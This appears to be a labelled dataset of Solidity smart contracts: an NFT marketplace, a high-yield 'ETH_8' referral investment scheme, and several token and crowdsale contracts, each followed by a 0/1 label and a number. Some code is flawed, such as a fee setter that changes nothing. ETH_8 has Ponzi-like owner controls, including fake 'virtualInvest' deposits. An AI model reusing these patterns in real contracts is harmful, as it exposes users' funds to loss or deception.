pragma solidity ^0.4.25; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract IERC721 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) public view returns (uint256 balance); function ownerOf(uint256 tokenId) public view returns (address owner); function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function transferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } contract ERC20BasicInterface { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); uint8 public decimals; } contract Bussiness is Ownable { IERC721 public erc721Address = IERC721(0x5d00d312e171be5342067c09bae883f9bcb2003b); ERC20BasicInterface public usdtToken = ERC20BasicInterface(0xdAC17F958D2ee523a2206206994597C13D831ec7); uint256 public ETHFee = 2; uint256 public HBWALLETFee = 1; uint256 public balance = address(this).balance; constructor() public {} struct Price { address tokenOwner; uint256 price; uint256 fee; } mapping(uint256 => Price) public prices; mapping(uint256 => Price) public usdtPrices; function ownerOf(uint256 _tokenId) public view returns (address){ return erc721Address.ownerOf(_tokenId); } function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _usdtPrice) public { require(erc721Address.ownerOf(_tokenId) == msg.sender); prices[_tokenId] = Price(msg.sender, _ethPrice, 0); usdtPrices[_tokenId] = Price(msg.sender, _usdtPrice, 0); } function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice) public payable { require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice); uint256 ethfee; if(prices[_tokenId].price < _ethPrice) { ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / 100; require(msg.value == ethfee); ethfee += prices[_tokenId].fee; } else ethfee = _ethPrice * ETHFee / 100; prices[_tokenId] = Price(msg.sender, _ethPrice, ethfee); } function removePrice(uint256 tokenId) public returns (uint256){ require(erc721Address.ownerOf(tokenId) == msg.sender); if (prices[tokenId].fee > 0) msg.sender.transfer(prices[tokenId].fee); resetPrice(tokenId); return prices[tokenId].price; } function getPrice(uint256 tokenId) public returns (address, address, uint256, uint256){ address currentOwner = erc721Address.ownerOf(tokenId); if(prices[tokenId].tokenOwner != currentOwner){ resetPrice(tokenId); } return (currentOwner, prices[tokenId].tokenOwner, prices[tokenId].price, usdtPrices[tokenId].price); } function setFee(uint256 _ethFee, uint256 _hbWalletFee) public view onlyOwner returns (uint256 ETHFee, uint256 HBWALLETFee){ require(_ethFee > 0 && _hbWalletFee > 0); ETHFee = _ethFee; HBWALLETFee = _hbWalletFee; return (ETHFee, HBWALLETFee); } function withdraw(address _address, uint256 amount) public onlyOwner { require(_address != address(0) && amount > 0 && address(this).balance > amount); _address.transfer(amount); } function buy(uint256 tokenId) public payable { require(erc721Address.getApproved(tokenId) == address(this)); require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value); erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId); prices[tokenId].tokenOwner.transfer(msg.value); resetPrice(tokenId); } function buyByUsdt(uint256 tokenId) public { require(usdtPrices[tokenId].price > 0 && erc721Address.getApproved(tokenId) == address(this)); require(usdtToken.transferFrom(msg.sender, usdtPrices[tokenId].tokenOwner, usdtPrices[tokenId].price)); erc721Address.transferFrom(usdtPrices[tokenId].tokenOwner, msg.sender, tokenId); resetPrice(tokenId); } function resetPrice(uint256 tokenId) private { prices[tokenId] = Price(address(0), 0, 0); usdtPrices[tokenId] = Price(address(0), 0, 0); } }
1
2,161
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract Proxy { using SafeMath for uint256; uint256 public contribution = 0; ETH_8 eth_8; constructor() public { eth_8 = ETH_8(msg.sender); } function() public payable { if(msg.value == 0) { eth_8.withdrawDividends(msg.sender); return; } address newReferrer = _bytesToAddress(msg.data); contribution = contribution.add(msg.value); eth_8.doInvest(msg.sender, msg.value, newReferrer); address(eth_8).transfer(msg.value); } function _bytesToAddress(bytes data) private pure returns(address addr) { assembly { addr := mload(add(data, 20)) } } function resetContribution() external { require(msg.sender == eth_8.owner()); contribution = 0; } } contract ETH_8 { using SafeMath for uint256; uint256 constant public ONE_HUNDRED_PERCENTS = 10000; uint256[] public DAILY_INTEREST = [111, 133, 222, 333, 444]; uint256 public MARKETING_AND_TEAM_FEE = 1000; uint256 public referralPercents = 1000; uint256 constant public MAX_DIVIDEND_RATE = 25000; uint256 constant public MINIMUM_DEPOSIT = 100 finney; uint256 public wave = 0; uint256 public totalInvest = 0; uint256 public totalDividend = 0; mapping(address => bool) public isProxy; struct Deposit { uint256 amount; uint256 interest; uint256 withdrawedRate; } struct User { address referrer; uint256 referralAmount; uint256 firstTime; uint256 lastPayment; Deposit[] deposits; uint256 referBonus; } address public marketingAndTechnicalSupport = 0xFaea7fa229C29526698657e7Ab7063E20581A50c; address public owner = 0xbBdE48b0c31dA0DD601DA38F31dcf92b04f42588; mapping(uint256 => mapping(address => User)) public users; event InvestorAdded(address indexed investor); event ReferrerAdded(address indexed investor, address indexed referrer); event DepositAdded(address indexed investor, uint256 indexed depositsCount, uint256 amount); event UserDividendPayed(address indexed investor, uint256 dividend); event DepositDividendPayed(address indexed investor, uint256 indexed index, uint256 deposit, uint256 totalPayed, uint256 dividend); event FeePayed(address indexed investor, uint256 amount); event BalanceChanged(uint256 balance); event NewWave(); function() public payable { require(isProxy[msg.sender]); } function withdrawDividends(address from) public { require(isProxy[msg.sender]); uint256 dividendsSum = getDividends(from); require(dividendsSum > 0); if (address(this).balance <= dividendsSum) { wave = wave.add(1); totalInvest = 0; dividendsSum = address(this).balance; emit NewWave(); } from.transfer(dividendsSum); emit UserDividendPayed(from, dividendsSum); emit BalanceChanged(address(this).balance); } function getDividends(address wallet) internal returns(uint256 sum) { User storage user = users[wave][wallet]; for (uint i = 0; i < user.deposits.length; i++) { uint256 withdrawRate = dividendRate(wallet, i); user.deposits[i].withdrawedRate = user.deposits[i].withdrawedRate.add(withdrawRate); sum = sum.add(user.deposits[i].amount.mul(withdrawRate).div(ONE_HUNDRED_PERCENTS)); emit DepositDividendPayed( wallet, i, user.deposits[i].amount, user.deposits[i].amount.mul(user.deposits[i].withdrawedRate.div(ONE_HUNDRED_PERCENTS)), user.deposits[i].amount.mul(withdrawRate.div(ONE_HUNDRED_PERCENTS)) ); } user.lastPayment = now; sum = sum.add(user.referBonus); user.referBonus = 0; totalDividend = totalDividend.add(sum); } function dividendRate(address wallet, uint256 index) internal view returns(uint256 rate) { User memory user = users[wave][wallet]; uint256 duration = now.sub(user.lastPayment); rate = user.deposits[index].interest.mul(duration).div(1 days); uint256 leftRate = MAX_DIVIDEND_RATE.sub(user.deposits[index].withdrawedRate); rate = min(rate, leftRate); } function doInvest(address from, uint256 investment, address newReferrer) public payable { require(isProxy[msg.sender]); require (investment >= MINIMUM_DEPOSIT); User storage user = users[wave][from]; if (user.firstTime == 0) { user.firstTime = now; user.lastPayment = now; emit InvestorAdded(from); } if (user.referrer == address(0) && user.firstTime == now && newReferrer != address(0) && newReferrer != from && users[wave][newReferrer].firstTime > 0 ) { user.referrer = newReferrer; emit ReferrerAdded(from, newReferrer); } if (user.referrer != address(0)) { uint256 refAmount = investment.mul(referralPercents).div(ONE_HUNDRED_PERCENTS); users[wave][user.referrer].referralAmount = users[wave][user.referrer].referralAmount.add(investment); user.referrer.transfer(refAmount); } investment = investment.add(getDividends(from)); totalInvest = totalInvest.add(investment); user.deposits.push(Deposit({ amount: investment, interest: getUserInterest(from), withdrawedRate: 0 })); emit DepositAdded(from, user.deposits.length, investment); uint256 marketingAndTeamFee = investment.mul(MARKETING_AND_TEAM_FEE).div(ONE_HUNDRED_PERCENTS); marketingAndTechnicalSupport.transfer(marketingAndTeamFee); emit FeePayed(from, marketingAndTeamFee); emit BalanceChanged(address(this).balance); } function getUserInterest(address wallet) public view returns (uint256) { User memory user = users[wave][wallet]; if (user.referralAmount < 1 ether) { if(user.referrer == address(0)) return DAILY_INTEREST[0]; return DAILY_INTEREST[1]; } else if (user.referralAmount < 10 ether) { return DAILY_INTEREST[2]; } else if (user.referralAmount < 20 ether) { return DAILY_INTEREST[3]; } else { return DAILY_INTEREST[4]; } } function min(uint256 a, uint256 b) internal pure returns(uint256) { if(a < b) return a; return b; } function depositForUser(address wallet) external view returns(uint256 sum) { User memory user = users[wave][wallet]; for (uint i = 0; i < user.deposits.length; i++) { sum = sum.add(user.deposits[i].amount); } } function dividendsSumForUser(address wallet) external view returns(uint256 dividendsSum) { User memory user = users[wave][wallet]; for (uint i = 0; i < user.deposits.length; i++) { uint256 withdrawAmount = user.deposits[i].amount.mul(dividendRate(wallet, i)).div(ONE_HUNDRED_PERCENTS); dividendsSum = dividendsSum.add(withdrawAmount); } dividendsSum = dividendsSum.add(user.referBonus); dividendsSum = min(dividendsSum, address(this).balance); } function changeInterest(uint256[] interestList) external { require(address(msg.sender) == owner); DAILY_INTEREST = interestList; } function changeTeamFee(uint256 feeRate) external { require(address(msg.sender) == owner); MARKETING_AND_TEAM_FEE = feeRate; } function virtualInvest(address from, uint256 amount) public { require(address(msg.sender) == owner); User storage user = users[wave][from]; if (user.firstTime == 0) { user.firstTime = now; user.lastPayment = now; emit InvestorAdded(from); } amount = amount.add(getDividends(from)); user.deposits.push(Deposit({ amount: amount, interest: getUserInterest(from), withdrawedRate: 0 })); emit DepositAdded(from, user.deposits.length, amount); } function createProxy() external { require(msg.sender == owner); Proxy newProxy = new Proxy(); isProxy[address(newProxy)] = true; } }
0
1,136
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 4; uint8 public constant TOKEN_DECIMALS_UINT8 = 4; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Joash"; string public constant TOKEN_SYMBOL = "Nita"; bool public constant PAUSED = true; address public constant TARGET_USER = 0xc5dC671E6b171e5db9E48F4971e9D26E9831834C; uint public constant START_TIME = 1544878800; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } }
0
987
pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20 { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract HeliosToken is ERC20, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public _yearTwoSupply; uint public _yearThreeSupply; bool public _yearTwoClaimed; bool public _yearThreeClaimed; uint256 public startTime = 1519862400; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function HeliosToken() public { symbol = "HLS"; name = "Helios Token"; decimals = 18; _totalSupply = 350000000000000000000000000; _yearTwoSupply = 30000000000000000000000000; _yearThreeSupply = 20000000000000000000000000; balances[0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2] = (_totalSupply - _yearTwoSupply - _yearThreeSupply); Transfer(address(0), 0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2, (_totalSupply - _yearTwoSupply - _yearThreeSupply)); _yearTwoClaimed = false; _yearThreeClaimed = false; } function teamClaim(uint year) public onlyOwner returns (bool success) { if(year == 2) { require (now > (startTime + 31536000) && _yearTwoClaimed == false); balances[0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2] = safeAdd(balances[0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2], _yearTwoSupply); Transfer(address(0), 0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2, _yearTwoSupply); _yearTwoClaimed = true; } if(year == 3) { require (now > (startTime + 63072000) && _yearThreeClaimed == false); balances[0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2] = safeAdd(balances[0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2], _yearThreeSupply); Transfer(address(0), 0x6BFAf995ffce7Be6e3073dC8AAf45E445cf234e2, _yearThreeSupply); _yearThreeClaimed = true; } return true; } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20(tokenAddress).transfer(owner, tokens); } }
1
3,724
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract MziToken is MintableToken { string public constant name = "MziToken"; string public constant symbol = "MZI"; uint8 public constant decimals = 18; } contract Crowdsale { using SafeMath for uint256; MintableToken public token; uint256 public startTime; uint256 public endTime; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public view returns (bool) { return now > endTime; } } contract Moozicore is Crowdsale { uint256 constant CAP = 1000000000000000000000000000; uint256 constant CAP_PRE_SALE = 166000000000000000000000000; uint256 constant CAP_ICO_SALE = 498000000000000000000000000; uint256 constant RATE_PRE_SALE_WEEK1 = 100000; uint256 constant RATE_PRE_SALE_WEEK2 = 95000; uint256 constant RATE_PRE_SALE_WEEK3 = 90000; uint256 constant RATE_PRE_SALE_WEEK4 = 85000; uint256 constant RATE_ICO_SALE_WEEK1 = 80000; uint256 constant RATE_ICO_SALE_WEEK2 = 75000; uint256 constant RATE_ICO_SALE_WEEK3 = 72500; uint256 constant RATE_ICO_SALE_WEEK4 = 70000; uint256 public startTime; uint256 public endTime; uint256 public totalSupplyIco; function Moozicore ( uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet ) public Crowdsale(_startTime, _endTime, _rate, _wallet) { startTime = _startTime; endTime = _endTime; } function createTokenContract() internal returns (MintableToken) { return new MziToken(); } function validPurchase() internal constant returns (bool) { if (msg.value < 50000000000000000) { return false; } if (token.totalSupply().add(msg.value.mul(getRate())) >= CAP) { return false; } if (now >= 1517266799 && now < 1533110400) { return false; } if (now <= 1517266799) { if (token.totalSupply().add(msg.value.mul(getRate())) >= CAP_PRE_SALE) { return false; } } if (now >= 1533110400) { if (totalSupplyIco.add(msg.value.mul(getRate())) >= CAP_ICO_SALE) { return false; } } return super.validPurchase(); } function buyTokens(address beneficiary) payable public { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(getRate()); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); if (now >= 1533110400) { totalSupplyIco = totalSupplyIco.add(tokens); } forwardFunds(); } function getRate() public constant returns (uint256) { uint256 currentRate = RATE_ICO_SALE_WEEK4; if (now <= 1515452399) { currentRate = RATE_PRE_SALE_WEEK1; } else if (now <= 1516057199) { currentRate = RATE_PRE_SALE_WEEK2; } else if (now <= 1516661999) { currentRate = RATE_PRE_SALE_WEEK3; } else if (now <= 1517266799) { currentRate = RATE_PRE_SALE_WEEK4; } else if (now <= 1533679199) { currentRate = RATE_ICO_SALE_WEEK1; } else if (now <= 1534283999) { currentRate = RATE_ICO_SALE_WEEK2; } else if (now <= 1534888799) { currentRate = RATE_ICO_SALE_WEEK3; } else if (now <= 1535493599) { currentRate = RATE_ICO_SALE_WEEK4; } return currentRate; } function mintTokens(address walletToMint, uint256 t) payable public { require(msg.sender == wallet); require(token.totalSupply().add(t) < CAP); if (now <= 1517266799) { require(token.totalSupply().add(t) < CAP_PRE_SALE); } if (now > 1517266799) { require(totalSupplyIco.add(t) < CAP_ICO_SALE); totalSupplyIco = totalSupplyIco.add(t); } token.mint(walletToMint, t); } }
1
3,395
